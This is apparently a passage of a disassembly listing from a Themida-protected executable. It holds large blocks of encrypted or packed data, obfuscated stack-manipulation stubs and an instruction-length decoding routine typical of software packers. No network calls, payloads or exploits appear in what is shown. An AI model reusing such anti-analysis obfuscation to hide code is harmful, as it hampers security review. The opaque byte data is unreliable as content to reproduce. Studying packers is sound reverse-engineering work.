		dd 470F2F79h, 0BCF3D3F8h, 1A734F6Fh, 0D16915DBh, 43E1DC54h
		dd 55B8FB22h, 0AA0F5373h, 0C69D8CC4h, 8F1DBDEEh, 0B906B09Dh
		dd 81BEAD59h, 99B398B0h, 0E1E69B5h, 0DBED228h, 0C9ED3F8Dh
		dd 71108007h, 75CD61F1h, 0A41B8812h, 582500A0h,	126h, 3C6A356Ah
		dd 444CC41Eh, 93D18B73h, 0DEBF2D50h, 67D421F4h,	0F0C1C95Ch
		dd 30153AAAh, 80E3CA10h, 0F55B7BADh, 0CCB401C9h, 0C7C69247h
		dd 7058B7F6h, 0FF40106Eh, 45A88BB3h, 4347D43h, 18C3E73Bh
		dd 0D4FAD27Eh, 0E9FD9774h, 113E61F1h, 0FCCD1129h, 49C481h
		dd 28E0000h, 11A42EEDh,	0C375E37Fh, 62D72B74h, 0C375E29Eh
		dd 0DE3C000Bh, 0B9078E86h, 0C5247A88h, 0E69AE0C0h, 0D1E95575h
		dd 67847412h, 0F19722A4h, 0BC3755Ch, 22827643h,	0B081C375h
		dd 99B78075h, 7E5C4AD5h, 88BC3Fh, 2EA0000h, 12A72FEEh
		dd 0C95CE80Dh, 5AA5F9CAh, 77477272h, 5FF1C22Bh,	0A8F6D8F0h
		dd 92E56ED5h, 850546C6h, 89ADFF40h, 614547AAh, 1996D169h
		dd 0B6B3FEAFh, 7D35F977h, 0EEEC4451h, 7E056079h, 0B9998D72h
		dd 933B0465h, 0F2F953EBh, 1E8E4854h, 9FA47ADFh,	0F2C3CC85h
		dd 654943ACh, 0D0F66519h, 81C9CC20h, 0B12B1E34h, 24495C2h
		dd 93897F5Ah, 0B98AD2B5h, 2C724876h, 0A2529EDDh, 52A8889Dh
		dd 3D0B2272h, 54A57211h, 0EE024119h, 0FC12A72Fh, 0FBC96296h
		dd 216B54AAh, 2464331Dh, 42793C02h, 2136FC4Eh, 888020A6h
		dd 8B9DAAA6h, 0E1C23ABh, 8AF5CD28h, 5B5FA383h, 92BA16B0h
		dd 95B79C4Ch, 38089BB8h, 2C7D3E4Fh, 70B986CEh, 0D41B7248h
		dd 0CF8EEDE9h, 12h, 2C73231Bh, 0A315A0FDh, 0A0C375E2h
		dd 0D1380657h, 6652C492h, 0EB3D0A50h, 8388F7CBh, 25105FA3h
		dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h
		dd 6802E43Ah, 3CAFh, 68241489h,	3B3Ah, 50242C89h, 405E089h
		dd 2D000000h, 4, 5C240487h, 50243C89h, 79EABA52h, 0EAC17A5Eh
		dd 2E2C104h, 0F703EAC1h, 6EEA81D2h, 8110B862h, 979774EAh
		dd 5AD089B9h, 9365380Dh, 2CF8251Dh, 9D2D69FCh, 8923EF70h
		dd 8B5458C5h, 0C481243Ch, 4, 89EB8953h,	1C8B085Fh, 4C48124h
		dd 8B000000h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		db 3Ch,	4Fh, 40h
		dd 0B8258C63h, 5ECB84Ah, 0E0FFC503h, 34149582h,	0E0F9DE2h
		dd 30F11A85h, 2B2FF75Fh, 4365CB3Dh, 42785E8Eh, 11300526h
		dd 6887C12Ah, 59D6AFD8h, 0AA00C1h, 243F4894h, 0B9E68D8Dh
		dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0D77C8BC3h, 89931AEDh, 0E7281985h, 158D8905h
		dd 6605E723h, 0C7E7AEBEh, 0E708B985h, 6D6405h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 2EF322BEh, 45B58Bh, 0F18A05E7h, 0CF9BD8Bh, 85C705E7h
		dd 5E70C99h, 0
		dd 15658D09h, 0B5FF05E7h, 5E7281Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0EBC35040h,	91BD8B82h, 0FF05E70Ch
		dd 0E732CD95h, 0AE905h,	69400000h, 3522A0D2h, 4F06B1D0h
		dd 95FF006Ah, 5E71A1Dh,	3DEBC08Bh, 8F48B78Ch, 0C52CF095h
		dd 0B3303502h, 0BE9E5B5Fh, 0B5193AB7h, 0A4822CD7h, 981707BDh
		dd 169DC88Ch, 5A27BF65h, 0E579947Ch, 0EF083899h, 0BD06BF7Eh
		dd 52AAD3A1h, 0DA8DBAF5h, 27D97379h, 0FE804h, 53C30000h
		dd 810909Fh, 0D20A6C77h, 0F749CBC3h, 0D99D8BC4h, 5F05E706h
		dd 0A540B966h, 5975C781h, 0D3810000h, 7EE2676Bh, 8D8BF62Bh
		dd 5E72B71h, 0F37148Bh,	158Dh, 10E900h,	0D3920000h, 46120D6Dh
		dd 2B69DB71h, 97CCDC2Dh, 0EA81B354h, 2BCBE217h,	0A1BFF281h
		dd 9D234385h, 5E70ECDh,	0EFF9EA81h, 0B70F6CAFh,	371489DEh
		dd 10BE9FB9h, 5E84Dh, 22F80000h, 603EB89Dh, 0AEF28166h
		dd 0D18D8B2Eh, 6105E725h, 0D0EE8158h, 0E8749887h, 6, 2AC1632h
		dd 858B9B56h, 5E720D1h,	0CCC68159h, 66749887h, 0BDECC081h
		dd 0A740FE81h, 850FFFFFh, 0FFFFFF78h, 0E9C78B66h, 1C8h
		dd 8 dup(418888h), 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs_0		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 1, 14h dup(0)
aAcawu		db 'Àcíwu',0
		align 4
		dd 1, 11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	0BCBEED81h, 0C76005ECh
		dd 0ECBC0B85h, 5, 3E816600h, 850FA166h,	0Fh, 0BC0F85C7h
		dd 605ECh, 24E90000h, 8D000000h, 0ECBC1385h, 858D5005h
		dd 5ECBC63h, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	0F858900h
		dd 6105ECBCh, 0BC0FB503h, 858B05ECh, 5ECBC0Bh
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_599FCB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_599FD7
; ---------------------------------------------------------------------------

loc_599FCB:				; CODE XREF: Themida_:00599FB4j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_599FD7:				; CODE XREF: Themida_:00599FC6j
		push	ebx
		push	esi
		push	edi

loc_599FDA:				; CODE XREF: Themida_:0059A02Fj
					; Themida_:0059A04Bj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_599FED:				; CODE XREF: Themida_:0059A014j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECBD75h
		lea	ebp, [ebp+5ECBBEBh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59A01A
		inc	cl
		cmp	cl, 0Bh
		jb	loc_599FED

loc_59A01A:				; CODE XREF: Themida_:0059A009j
		cmp	cl, 0Bh
		jz	loc_59A077
		cmp	al, 66h
		jnz	loc_59A058
		cmp	byte ptr [ebp-5], 0
		jnz	loc_599FDA
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59A050
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_599FDA
; ---------------------------------------------------------------------------

loc_59A050:				; CODE XREF: Themida_:0059A03Dj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59A058:				; CODE XREF: Themida_:0059A025j
		cmp	al, 67h
		jnz	loc_599FDA
		cmp	byte ptr [ebp-6], 0
		jnz	loc_599FDA
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_599FDA
; ---------------------------------------------------------------------------

loc_59A077:				; CODE XREF: Themida_:0059A01Dj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59A0A3
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59A0A8
; ---------------------------------------------------------------------------

loc_59A0A3:				; CODE XREF: Themida_:0059A082j
		movzx	edi, al
		shr	edi, 1

loc_59A0A8:				; CODE XREF: Themida_:0059A09Ej
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECBE2Dh
		lea	ebp, [ebp+5ECBAEBh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59A22A
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59A16E
		dec	ecx
		jz	loc_59A151
		dec	ecx
		jnz	loc_59A1C1
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59A1BD
		cmp	byte ptr [ebp-5], 0
		jz	loc_59A130
		mov	byte ptr [ebp+0Bh], 2

loc_59A130:				; CODE XREF: Themida_:0059A126j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECBEB9h
		mov	dword ptr [ebp+5ECBC0Bh], 1
		pop	ebp
		jmp	loc_59A1C1
; ---------------------------------------------------------------------------

loc_59A151:				; CODE XREF: Themida_:0059A10Bj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59A19B
		cmp	byte ptr [ebp-5], 0
		jz	loc_59A19B
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59A19B
; ---------------------------------------------------------------------------

loc_59A16E:				; CODE XREF: Themida_:0059A104j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59A1B4
		cmp	byte ptr [ebp-5], 0
		jz	loc_59A1A3
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59A19B
		mov	[ebp+0Bh], cl

loc_59A19B:				; CODE XREF: Themida_:0059A155j
					; Themida_:0059A15Fj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59A1C1
; ---------------------------------------------------------------------------

loc_59A1A3:				; CODE XREF: Themida_:0059A17Cj
		cmp	dl, 5
		jnz	loc_59A1C1
		mov	[ebp+0Bh], dl
		jmp	loc_59A1C1
; ---------------------------------------------------------------------------

loc_59A1B4:				; CODE XREF: Themida_:0059A172j
		cmp	dl, 6
		jnz	loc_59A1C1

loc_59A1BD:				; CODE XREF: Themida_:0059A11Cj
		mov	byte ptr [ebp+0Bh], 3

loc_59A1C1:				; CODE XREF: Themida_:0059A112j
					; Themida_:0059A14Cj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59A1EF
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_59A1D1:				; CODE XREF: Themida_:0059A1E7j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59A1D1
		mov	esi, edx

loc_59A1EF:				; CODE XREF: Themida_:0059A1C4j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59A224
		cmp	edi, 7Fh
		ja	loc_59A224
		test	bl, 38h
		jnz	loc_59A224
		cmp	byte ptr [ebp-7], 0
		jz	loc_59A21E
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59A221
; ---------------------------------------------------------------------------

loc_59A21E:				; CODE XREF: Themida_:0059A20Fj
		push	1
		pop	eax

loc_59A221:				; CODE XREF: Themida_:0059A219j
		mov	[ebp-1], al

loc_59A224:				; CODE XREF: Themida_:0059A1F3j
					; Themida_:0059A1FCj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59A22A:				; CODE XREF: Themida_:0059A0D4j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59A255
		dec	eax
		dec	eax
		jz	loc_59A24B
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59A25D
; ---------------------------------------------------------------------------

loc_59A24B:				; CODE XREF: Themida_:0059A23Aj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59A25A
; ---------------------------------------------------------------------------

loc_59A255:				; CODE XREF: Themida_:0059A232j
		mov	al, [ebp-3]
		add	al, 4

loc_59A25A:				; CODE XREF: Themida_:0059A250j
		add	[ebp-1], al

loc_59A25D:				; CODE XREF: Themida_:0059A246j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59A285
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_59A270:				; CODE XREF: Themida_:0059A27Fj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59A270

loc_59A285:				; CODE XREF: Themida_:0059A265j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLIUOa3cws	db '‹Ðë',8,'uÈ®aœ3çwé',0Bh,0Dh,0
		dd 0C1886800h, 50E905ECh, 68FFFABDh, 5ECC2C6h, 0FABD46E9h
		dd 0C44B68FFh, 3CE905ECh, 68FFFABDh, 5ECC578h, 0FABD32E9h
		dd 0C6FE68FFh, 28E905ECh, 68FFFABDh, 5ECC93Bh, 0FABD1EE9h
		dd 0CAAB68FFh, 14E905ECh, 68FFFABDh, 5ECCBAAh, 0FABD0AE9h
		dd 0C4F23EFFh, 0CFEF3F04h, 0CD0D3A01h, 31153403h, 3006301Fh
		dd 0AAFEB518h, 0A5F25E7Ch, 0A5F25E7Eh, 0A3884060h, 268B4569h
		dd 22A709ACh, 71BCC699h, 3AAF2D05h, 0ACE442Eh, 7A52BF2Bh
		dd 0EF390654h, 866A01CFh, 8DEACF87h, 8AC95CF0h,	249065B9h
		dd 52C692ECh, 990B11B9h, 0AB61F27Ch, 2Fh, 0A80D353Fh, 0C375E2C0h
		dd 98BEECC3h, 0DB1A6B42h, 0D4548A4h, 5CFED7A8h,	0BF83ECC9h
		dd 92FE7AFAh, 3B5F0CC6h, 0F272BF51h, 0D28D61h, 52D90000h
		dd 5E06547Ah, 0B3F2CAF1h, 0E16D525Ch, 27892C70h, 3CC3753Ah
		dd 19D8BD3h, 0B582D829h, 6FB393h, 63502F08h, 0CA7B7315h
		dd 750219EFh, 0F8C91AC3h, 0FB10A1AFh, 66C37507h, 0F64E0026h
		dd 27A69195h, 67C9ECF5h, 7CC37503h, 6DE3C213h, 9AE0C6C6h
		dd 0A42EEFFDh, 160E44FCh, 6A4042B9h, 0D58DAE0Bh, 0D92AC95Ch
		dd 91747877h, 0BA249C39h, 8EDFCCB8h, 6AA36CC4h,	0A3010998h
		dd 0FD250A40h, 0FA2473DDh, 0AE735FDCh, 0E57D7020h, 0AF0F6h
		dd 0E8EEDA00h, 0D3F3DB60h, 0D1E9D67Dh, 0D5F9D07Fh, 0D4E22C7Bh
		dd 461AA974h, 41EE6258h, 41EE625Ah, 5FE46444h, 0C2E7694Dh
		dd 23433580h, 5540C699h, 56645265h, 5B7BADFAh, 0B401C9F5h
		dd 0C375E2CCh, 23B7F6C7h, 0C0A80D35h, 0C3C375E2h, 4995A1ECh
		dd 0A9D41760h, 0AD084243h, 0C95CFECCh, 0FF4298E9h, 0C692FE05h
		dd 4A90A690h, 3604347Dh, 0FEA50BAEh, 6DBEC692h,	63CFCB82h
		dd 0B69A3CEFh, 61F2721Eh, 765870DFh, 0F2C80C3Bh, 0F5E3589Bh
		dd 0E7000000h, 6547A52h, 0F4D4F15Eh, 6E4D8DB5h,	0E2E1703h
		dd 46724960h, 5EE1E93Ah, 350D684Eh, 68D0E5ADh, 6BC375DFh
		dd 0D97EDB1Ah, 40C375DAh, 0C36C6648h, 0F3D3F5CBh, 0A68D43A2h
		dd 6A7A4066h, 0A0A117A2h, 472BC375h, 0F3BF0E5Eh, 1053BC0Dh
		dd 0A5977F6Dh, 2C7430DEh, 0C4D1F9CAh, 0C95C282Bh, 0AF8781B9h
		dd 0E776CDBEh, 0F649D79Fh, 0E6C5A2F7h, 9919CD15h, 8DEF5164h
		dd 9BE4C692h, 167C2643h, 806C0BC5h, 39E0359Dh, 3ACCB848h
		dd 505EE1E9h, 0CFDF606Ah, 6ED2E7EFh, 65C8A48Ah,	0C1BD914h
		dd 0C2E02A02h, 0DF5CADFCh, 702189FDh, 0B2706BC7h, 94000009h
		dd 95A2AEA8h, 90BF91B1h, 92B997A7h, 0EEB59BBBh,	6FB69AA0h
		dd 20160058h, 20140328h, 2A0A0328h, 2F0F1926h, 0F3C68021h
		dd 0C699200Dh, 52A31706h, 0ADFA5664h, 0C9F55B7Bh, 0C185FF71h
		dd 7B98E2DAh, 441251F9h, 72547A52h, 0DDCAE42Dh,	7F4EACFDh
		dd 0D3F5C23Ch, 4B74DBF3h, 0C519396Dh, 66479BE4h, 0BE32C907h
		dd 60CFF7DFh, 0D1380628h, 0EA303592h, 64B5C95Ch, 0EADEA316h
		dd 0FEA6C692h, 0EA1DE336h, 0C516C692h, 0C9D3F7E6h, 61F28257h
		dd 4C90BB84h, 846D376Ah, 714C7892h, 65094h, 0EE02DE00h
		dd 6D12A72Fh, 6AC95D11h, 8470C519h, 11C692CCh, 381E0C2Ah
		dd 79A493EFh, 0FE6D015Dh, 0D3F856D8h, 5C33ADB7h, 221161F2h
		dd 55000006h, 0A72FEE02h, 0E256DAFFh, 26DC375h,	9DD82909h
		dd 0EAABC4D1h, 0F7C0C95Ch, 0EA6ED6ABh, 0CEFBC692h, 4647B08Eh
		dd 0C7741866h, 38D37FC3h, 8AD559Eh, 0C692EAA0h,	841352A3h
		dd 61F2820Ch, 5E038h, 53E48A00h, 0E5EDB03Ch, 1624123Dh
		dd 2582E1C8h, 0C95CEA58h, 2A0B055Dh, 8FDDAD32h,	1C1C14BEh
		dd 4B67B319h, 18B93477h, 4A6CC2EBh, 0E3EBAA46h,	3A75033Bh
		dd 3B46F168h, 340FF9E3h, 0A698C5Bh, 0A0C2FCADh,	52A8F958h
		dd 0C0C8B735h, 0F37BA4FEh, 7125CB60h, 9981AE20h, 310C5DA1h
		dd 3ABD10A5h, 65B65EBEh, 0E4CAC26Dh, 0E9CDDF64h, 1A7B9C34h
		dd 0EFEC4402h, 82Dh, 252B1319h,	222E0C1Eh, 3C2C2C15h, 38103417h
		dd 39172713h, 9D85DD94h, 998493BDh, 878493BDh, 8A82A9A7h
		dd 4D05A4A4h, 99268068h, 269083C6h, 0F4220D35h,	0D491F8C6h
		dd 0C375E26Ch, 0F8D71667h, 17B08ED0h, 79234D9h,	0C962A2A0h
		dd 0F9D87041h, 0C699224Bh, 0E5ADE1A0h, 992268D0h, 0DB1A6BC6h
		dd 5EF2D4F4h, 0E5304AA1h, 0C6992213h, 0EECED910h, 0BF1A4C9Dh
		dd 0C69922D1h, 42ADF1C2h, 38E4644Ah, 8FDC5800h,	1E51D55Dh
		dd 0F9D02E0Ch, 2677DDBAh, 0A9E2C699h, 0D79F4789h, 99267EC2h
		dd 942D75C6h, 0E3E1C91Bh, 0E52D1C6Dh, 91BB96D5h, 288C714Dh
		dd 0EC699B0h, 0BDEF3D5Dh, 2B9D38E0h, 28C699B0h,	0B0961ADFh
		dd 5CADC699h, 5676DD73h, 0ED572A70h, 33C699A0h,	8A822EA8h
		dd 81D22A4h, 0D3FBD228h, 998072C6h, 0C52071C6h,	1334C0Fh
		dd 359A0000h, 3E1C226Ah, 67A18CEFh, 1F0C7B47h, 0E28D7346h
		dd 0B586C375h, 0CBDD6264h, 77B697EBh, 0E2C2B60Bh, 4D5FC375h
		dd 767A1569h, 79A3F97h,	3CC962A2h, 0E1A02ED3h, 0F0486A3Ch
		dd 700EBh, 0D8FE2A00h, 0C3E32B70h, 0C1F9260Dh, 0C5E9200Fh
		dd 0C4F23C0Bh, 560AB904h, 51FE5268h, 51FE526Ah,	0AFF45474h
		dd 32F7597Dh, 27B30590h, 45B0C699h, 547A5215h, 0B0F13906h
		dd 75E29365h, 684790C3h, 0EF3E1C22h, 3F6B349Eh,	6C10DC1Fh
		dd 84E7D7C3h, 0A5C7CA9h, 35B09A32h, 0F332E672h,	0D0F6D67Dh
		dd 0C9E7D378h, 4F9EFCDCh, 0EBD7207Eh, 70FB8FD3h, 99B29D56h
		dd 2B177AB9h, 26F3BB13h, 0C3759C52h, 6B4E0051h,	0C3759C85h
		dd 0E26E4D9Eh, 0D91073EDh, 105167h, 3E150000h, 0A3h, 1E023C74h
		dd 7157D565h, 7A52A432h, 0F15E0654h, 5CADF1C9h,	0C71B3B6Dh
		dd 522287E6h, 0C7C375F2h, 519EFCD8h, 6A0A5068h,	496DD1F9h
		dd 64A40482h, 79C68E42h, 0D4350931h, 0C891BA99h, 75F21BEDh
		dd 0FECF18C3h, 0F268DDA0h, 0D080C375h, 25795D4Fh, 0D0F6E9C4h
		dd 0D57B5B70h, 59795235h, 31113A05h, 7412D9EDh,	0DFC9F7D4h
		dd 0E24D3386h, 7546C375h, 0A6F7D624h, 0EABB17AAh, 4938C375h
		dd 67D982D8h, 0FFFEA2F6h, 4B43ECFFh, 355E086Bh,	0C615E77Dh
		dd 615CE3E2h, 3085Eh, 0A9C9400h, 2549AD31h, 52B82E0Dh
		dd 0B306547Ah, 0C375E2D1h, 9A365013h, 97BCACB2h, 0E84D91B5h
		dd 0C375E21Ch, 63BF9F89h, 9A6E4B73h, 99C375E2h,	9A566D48h
		dd 63C6D3FBh, 0C962A2h,	9B8DBC3Eh, 6544FE60h, 4D320323h
		dd 6A3C7089h, 7AE0FB57h, 0AC000005h, 0ADFA5660h, 0A8F75979h
		dd 0AAF15F7Fh, 0A68D4363h, 278E4278h, 0E8EED890h, 0E8ECDB60h
		dd 0D2F2DB60h, 0D7F7D17Eh, 0BB1E4879h, 0C6992435h, 52EBDFCEh
		dd 3906547Ah, 0D981C9F1h, 0B5724876h, 0C375E2C3h, 0EA4CFEC0h
		dd 0C9E9FDEBh, 8FB7BDF8h, 684B6BA0h, 2D230305h,	0DC221806h
		dd 567FABF4h, 0CF088B3Bh, 0F1CC1D42h, 58A69482h, 0A1038734h
		dd 188F4179h, 67D92488h, 23C44h, 60D1200h, 8CDDE128h, 654541AEh
		dd 281D914h, 6DD02EEDh,	0C264E1E5h, 9BADC8Fh, 0E3C2F826h
		dd 0EA8B9C34h, 213A868h, 23A0000h, 11A42EEDh, 0C375E2AFh
		dd 0B2075BA4h, 0C264E1B0h, 1B018942h, 68EA8C89h, 95BCE54Ah
		dd 0B7B42229h, 4DBC8D6Fh, 403D7858h, 1E5h, 0FD43561Eh
		dd 683D9AE0h, 0EBC2183Eh, 0FCEAC91Ah, 4257ED02h, 0C375E2FEh
		dd 735BA4F5h, 75E2D6A6h, 0C95EDC3h, 2F3CD167h, 2EE1A709h
		dd 0EF389D76h, 75FD409Eh, 1FC2648Ah, 4976DF57h,	43F38D7h
		dd 80DEFE25h, 7F1B4AA9h, 0E9D9FB95h
		dd 193C968h, 29D0000h, 8CA42EEDh, 9593801Ch, 88C221E5h
		dd 75FC432Dh, 0D1950C3h, 0C28ADC2Dh, 75FC01F7h,	0F23102C3h
		dd 0FF39298Ch, 0CBC264h, 6E029286h, 5EC268EAh, 84000001h
		dd 6547A52h, 1CFEF39h, 8C99866Ah, 0E278C0D5h, 2A7BC375h
		dd 84A281D9h, 31ACA513h, 0EECBEEE0h, 0EBC95C1Eh, 7678309Ah
		dd 3A6E5912h, 0DEA39FDEh, 0C6926766h, 0D0DF6010h, 74B796E4h
		dd 0E57F6565h, 0E761F205h, 52h,	3D6A35E3h, 759A6214h, 84D54651h
		dd 691457B6h, 0C88283h,	0E7CAF23Fh, 0C3A487A7h,	0C95C4F6Ah
		dd 15E83607h, 0C6922FAFh, 0F1CD0D3Ah, 59A58586h, 57DBFFEEh
		dd 0A2B6D0FBh, 61F1C132h, 114E5CE3h, 923B3C84h,	95E637C6h
		dd 1352705Ah, 84AAh, 7A523C00h,	0F1390654h, 0E29365B0h
		dd 4790C375h, 0CDDF2876h, 62AA95E9h, 82D8C5Ch, 33C375E7h
		dd 6B1B3519h, 0E7A216A3h, 50A1C375h, 83826E15h,	8FB9EECBh
		dd 6DBEC95Fh, 0EEECDA65h, 0EDEDD562h, 39CEB630h, 0B9223E6Ah
		dd 33Dh, 351B2369h, 321E3C6Eh, 0CC1C3C65h, 0C8002467h
		dd 0C9073763h, 0AD95CDE4h, 0A994A3ADh, 0B794A3ADh, 0BA92B997h
		dd 5D75B494h, 992BF078h, 0D680F3C6h, 0FA566452h, 0F55B7BADh
		dd 4A7A52D5h, 0C41C6240h, 0C4102F2Bh, 0F8C91A15h, 537355A2h
		dd 1913C37Bh, 2B7C3142h, 84E7C7C4h, 73846948h, 0A14FC375h
		dd 96CFEAFCh, 3AC95C69h, 0AA298202h, 2E7F4363h,	0DCD082D4h
		dd 0DC32CE1h, 547A525Dh, 0CFEF3906h, 87866A01h,	0F08DEACFh
		dd 0B98AC95Ch, 0EC249065h, 0B952C692h, 7C990B11h, 0F55A61F2h
		dd 5DACF2D2h, 3CA51Eh, 53D0000h, 26592174h, 0E32B06C2h
		dd 4FAEFFC3h, 2FEE021Bh, 0FEB912A7h, 65B6C95Ch,	0FED0A419h
		dd 0E5A6C692h, 7265FFE5h, 9E9661F2h, 0C6F03B00h, 7B43AAF0h
		dd 77B64996h, 0E38Eh, 0D35D800h, 75E2C0A8h, 2E8BC3C3h
		dd 0C375E25Ah, 0FC3F0859h, 4B97B791h, 3604327Ch, 42F6DFC9h
		dd 78B09560h, 8FD72B74h, 6A4569A0h, 0E9C01E3Ch,	4865A78Ah
		dd 0D7C1F97Eh, 0AC8C994Bh, 0FBDE7243h, 0C375D026h, 93B395BAh
		dd 0B2B7D50h, 82E7EC5h,	0B6579532h, 0CD08B91Ch,	94E5C95Ch
		dd 7231BFB4h, 0AD257644h, 55A98982h, 18BD3974h,	0CCB8C139h
		dd 0F1D5F73Ah, 0BAD0FBA9h, 2879894Bh, 0A99199A6h, 0A8AE98A7h
		dd 205803F3h, 655ED70h,	1CDh, 458BB3F9h, 428EACFEh, 5C8CCCF5h
		dd 58F0D4F7h, 59F7C7F3h, 3D653D74h, 3964331Dh, 2764331Dh
		dd 2A62C907h, 0EDE5C404h, 992860C8h, 463063C6h,	0C0A80D35h
		dd 0C3C375E2h, 496DBFF2h, 231B076Ah, 0A78784ABh, 3D33725Bh
		dd 85193616h, 659820E8h, 0B75BF5C6h, 0A72FEE02h, 5CFEB912h
		dd 4F7BB6C9h, 89DA330Fh, 34BC19C1h, 0CFC692FEh,	0FE43BFFEh
		dd 0C692FF06h, 553F5B70h, 61F271BBh, 0BE89h, 7A52DD00h
		dd 0F1390654h, 0EB00F5C9h, 16C375E7h, 0F6BE1036h, 75E75D23h
		dd 3D0556C3h, 0C77CEF61h, 0C20E6D16h, 2F735375h, 44E88FA7h
		dd 0F12445EDh, 45E10FB2h, 75048870h, 69BA8BC3h,	17D35461h
		dd 4F98C95Ch, 706EA81h,	84AAE04Fh, 0CD652DA9h, 0D3C3188Ah
		dd 0CFA88B0Ch, 0CCB8C2B1h, 56F9D122h, 0D7785268h, 0BB0DA8F5h
		dd 0B8C8A50Dh, 11DF1E6Fh, 413E1C0Ah, 7021109Bh,	0CE8ECD65h
		dd 0F8000000h, 0F9468ACCh, 0F4438DADh, 0F65DF3CBh, 0F259F7D7h
		dd 4B5AF6C4h, 1C3A643Ch, 1C3867CCh, 62667CCh, 0B2B7DCAh
		dd 0D7E2E4C5h, 0C6992961h, 52473362h, 0ADFA5664h, 2C735B7Bh
